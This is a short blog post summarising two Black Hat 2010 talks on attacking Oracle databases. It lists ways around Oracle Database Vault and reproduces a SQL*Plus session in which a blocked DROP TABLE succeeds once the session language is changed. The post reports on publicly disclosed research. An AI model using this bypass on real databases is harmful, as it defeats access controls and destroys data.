After a longer break here a blog entry again:The presentations and documents from Blackhat 2010 Las Vegas are online.
This year 2 presentations from Esteban and Sid were dedicated to Oracle:
Hacking and protecting Oracle Database Vault – Esteban Fayo
Esteban describes different attacks against Oracle Database Vault.
These well-known techniques are
* With OS access
* Creating and executing a procedure in MACSYS schema
* SYS user can bypass DB Vault
* Impersonating SYS using SQL Injection
* Exploiting other vulnerabilities specific to DB Vault.
Keep in mind that Esteban decribes only a subset of possible attacks. There are for example other possibilities to execute OS commands or impersonate other users available.
My favorite exploit from this presentation to bypass (older versions of) database vault is the following one:
————————————————
SQL> connect onedba/onedba Connected.
SQL> drop table hr.jobs cascade constraints;
drop table hr.jobs cascade constraints
* ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-47401: Realm violation for drop table on HR.JOBS
ORA-06512: at „DVSYS.AUTHORIZE_EVENT“, line 55
ORA-06512: at line 13 — Switch to a different NLS_LANGUAGE
SQL> alter session set NLS_LANGUAGE=“LATIN AMERICAN SPANISH“;
Session altered.
SQL> drop table hr.jobs cascade constraints;
Table dropped.
————————————————
It seems that some developers still not realized that there are other countries/languages outside of the US….
Here are the links from the Blackhat page (whitepaper, presentation, scripts) .
Hacking Oracle from the Web – Sumit Siddarth (Sid)
Great summary with different possibilities (Privilege escalation, OS execution, …) how to exploit Oracle from vulnerable web apps.
Really good and useful collection of information. Sid’s blog contains also some nice videos.
Here is the link from the Blackhat page (whitepaper) .